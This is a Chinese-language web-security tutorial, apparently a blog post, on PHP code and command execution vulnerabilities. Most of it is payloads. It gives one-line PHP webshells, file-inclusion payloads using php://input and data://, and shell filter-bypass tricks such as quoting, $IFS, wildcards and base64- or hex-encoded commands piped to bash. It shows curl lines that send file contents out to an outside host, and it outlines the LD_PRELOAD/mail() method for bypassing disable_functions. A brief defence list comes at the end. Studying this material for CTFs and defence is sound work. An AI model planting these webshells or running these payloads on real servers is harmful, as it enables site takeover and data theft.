代码执行
代码执行是指应用程序在调用⼀些能够将字符串转换为代码的函数时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞,使得用户能利用任意脚本代码(PHP)。
webshell
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的
一句话木马
利用一行或少量代码即可执行了我们发送的命令
代码执行函数
eval();assert();preg_replace(); (PHP<5.5.0)include、require 需要开启allow_url_include(php>5.2.0)create_function()call_user_func()$_GET[‘a’]($_GET[‘b’]);eval()
eval是一个语言结构
eval ()函数把字符串按照PHP代码来执行
该字符串必须是合法的PHP代码,且必须以分号结尾
<?php @eval($_POST[‘test’]);?>
使用蚁剑和菜刀连接的时候需要使用POST传参,test为密码。加@在没有传参的时候不会报错,一定程度上可以防止shell被发现
assert()
php4 php5 php7.0 中assert()是一个函数,php7.1中为语法结构
assert()函数把字符串按照PHP代码来执行,与eval相比,可以不使用分号结尾
<?php @assert($_GET[‘test’]);?>
preg_replace($pattern , $replacement , $subject)
PHP<5.5.0时 使用/e 模式修正符,preg_replace() 将$replacement 当做php代码来执行
preg_replace(“/test/e”, $_POST[‘test’], “This is a test”);
这个函数先会去正则test,从"This is a test"中。如果匹配到,则会执行中间的代码
include、 require
文件包含函数
需要allow_url_include=On
利用data:// php://input 伪协议getshell
<?php include $_POST[‘test’];?>
传参
test=php://input <?php phpinfo();?>
test=data://text/plain,<?php phpinfo();?>
create_function()
根据传递的参数创建一个匿名函数。
<?php $t = create_function(‘’,$_POST[‘test’]);$t();?>
创建一个隐函数t,POST传参test,然后执行函数t
call_user_func()
第一个参数fun是被调用的回调函数,其余参数是回调函数的参数。
<?php call_user_func($_GET[“fun”],$_GET[“para”]); ?>
使用
fun=assert¶=phpinfo();
可变函数
PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以执行,php原生函数、或者自定义函数
可变函数作用范围:
可变函数不能用于例如 eval(),echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。PHP7.1版本以后assert为语言结构。
<?php $_POST[‘fun’]($_POST[‘para’]); ?>
fun为函数名(需要调用的函数),para传函数参数
使用(php版本小于7.1)
fun=assert¶=phpinfo();
命令执行
代码执行漏洞应用有时需要调用⼀些执行系统命令的函数,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。简单来说就是:“靠执行脚本代码调用操作系统命令”
命令执行函数
systemexec反引号 ``shell_execpassthrupopenproc_popen……linux常用命令
Linux命令
cat [filename]读取文件touch
新建一个文件mkdir
创建一个目录mv
移动文件/目录cp
复制文件/目录ls -la
读取隐藏目录列出当前目录下的所有文件及权限rm -rf
递归 强制删除文件chmod
设置文件权限ifconfig
显示Linux内核中网络接口的网络参数whoami
用于显示自身用户名称find
指定目录下查找文件grep
查找符合条件的字符串history
查看历史命令netstat
显示网络状态tail
查看文件的内容,有一个常用的参数 -f 常用于查阅正在改变的日志文件。
-f 循环读取
Linux输出重定向
command > file将输出重定向到 file。command >> file
将输入以追加的形式重定向到file。
Linux管道符(命令逃逸)
&表示任务在后台执行&&
前面命令为真,则执行后面命令|
表示管道,上一条命令的输出,作为下一条命令参数/输入||
前面命令为假,则执行后面命令;
按顺序执行命令
Windows管道符(命令逃逸)
|直接执行后面的语句||
前面命令为假,则执行后面命令&
按顺序执行所有语句&&
前面命令为真,则执行后面命令
关键字绕过
利用空字符、空变量、转译符
c’‘at /f""lag
cat /fl’'azheg
ca\t /fl\ag
ca$@t /fl\ag
ca$9t /fl\ag
Linux中$[0-9]、$*、$!、$@表示参数
字符串拼接
a=c;b=at;c=/flag;$a$b $c
利用花括号
cat f{la,}g
花括号通过逗号分割构建序列并展开{c,at}{c,at} /flag
花括号可以表示两个序列的笛卡尔积
利用通配符
cat /fl*
*匹配任意长度的任意字符cat /f?ag
?匹配一个任意字符cat /fl[a-z]g
匹配[list]列表中的所有字符cat /f[^1,2,5,f,h,e]ag
匹配非列表[^list]中的所有字符
利用编码
echo Y2F0IC9mbGFn|base64 -d|bash
打印|base64 解码|bash运行echo 636174202f666c6167 | xxd -r -p|bash
十六进制$(printf “\x63\x61\x74\x20\x2f\x66\x6c\x61\x67”)
$()`printf “\x63\x61\x74\x20\x2f\x66\x6c\x61\x67”`
$()与``都可以把字符串当作命令执行
cat命令绕过
cat /flagtac /flag
cat反过来写more /flagless /flaghead /flagtail /flagnl /flagod /flagrev /flag
空格绕过
利用重定向 cat</flagcat<>/flag 利用分割符 cat$IFS/flagcat$IFS$9/flag
$IFS 是linux保留符cat${IFS}/flag 利用花括号 {cat,/flag}
无回显
数据外带 利用日志、监听端口
curl ip/`cat flag|base64`
curl去请求网页并通过``执行命令
通过`cat \flag|base64`的执行,得到flag(通过bash64加密),然后结果作为url一部分,通过curl去请求url,目标IP日志就可以获得请求信息,进而获得加密后flag内容
利用ceye
curl ceye的网址/`cat flag|base64`
绕过disable_function()
为了安全起见,很多运维人员会禁用PHP的一些“危险”函数,例如eval、exec、system等,将其写在php.ini配置文件中,就是我们所说的disable_functions了,特别是虚拟主机运营商,为了彻底隔离同服务器的客户,以及避免出现大面积的安全问题,在disable_functions的设置中也通常较为严格。
如果在渗透时,上传了webshell却因为disable_functions禁用了我们函数而无法执行命令的话,这时候就需要想办法进行绕过,突破disable_functions。
利用 LD_PRELOAD 环境变量
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的攻击目的。
利用条件
能够上传自己的.so文件
能够控制LD_PRELOAD环境变量的值,比如putenv()函数
因为新进程启动将加载LD_PRELOAD中的.so文件,所以要存在可以控制PHP启动外部程序的函数并能执行,比如mail()、imap_mail()、mb_send_mail()和error_log()函数等
常见突破 disable_functions 限制执行操作系统命令的方式为
编写一个原型为 uid_t getuid(void); 的 C 函数,内部执行攻击者指定的代码,并编译成共享对象 getuid_shadow.so;
运行 PHP 函数 putenv()(用来配置系统环境变量),设定环境变量 LD_PRELOAD 为 getuid_shadow.so,以便后续启动新进程时优先加载该共享对象;
运行 PHP 的 mail() 函数,mail() 内部启动新进程 /usr/sbin/sendmail,由于上一步 LD_PRELOAD 的作用,sendmail 调用的系统函数 getuid() 被优先级更好的 getuid_shadow.so 中的同名 getuid() 所劫持;
达到不调用 PHP 的 各种 命令执行函数(system()、exec() 等等)仍可执行系统命令的目的。
之所以劫持 getuid(),是因为 sendmail 程序会调用该函数(当然也可以为其他被调用的系统函数),在真实环境中,存在两方面问题:
某些环境中,web 禁止启用 sendmail、甚至系统上根本未安装 sendmail,也就谈不上劫持 getuid(),通常的 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件;
即便目标可以启用 sendmail,由于未将主机名(hostname 输出)添加进 hosts 中,导致每次运行 sendmail 都要耗时半分钟等待域名解析超时返回,www-data 也无法将主机名加入 hosts(如,127.0.0.1 lamp、lamp.、)。
命令执行防御
尽量不要执行外部命令
使用自定义函数或者函数库来代替外部命令的功能。
使用escapeshellarg()、escapeshellcmd()函数来处理命令参数。
转义处理危险参数
禁用一些敏感字符 比如 ; && cat 等连接符与常用命令
如果觉得《【web漏洞】代码执行》对你有帮助,请点赞、收藏,并留下你的观点哦!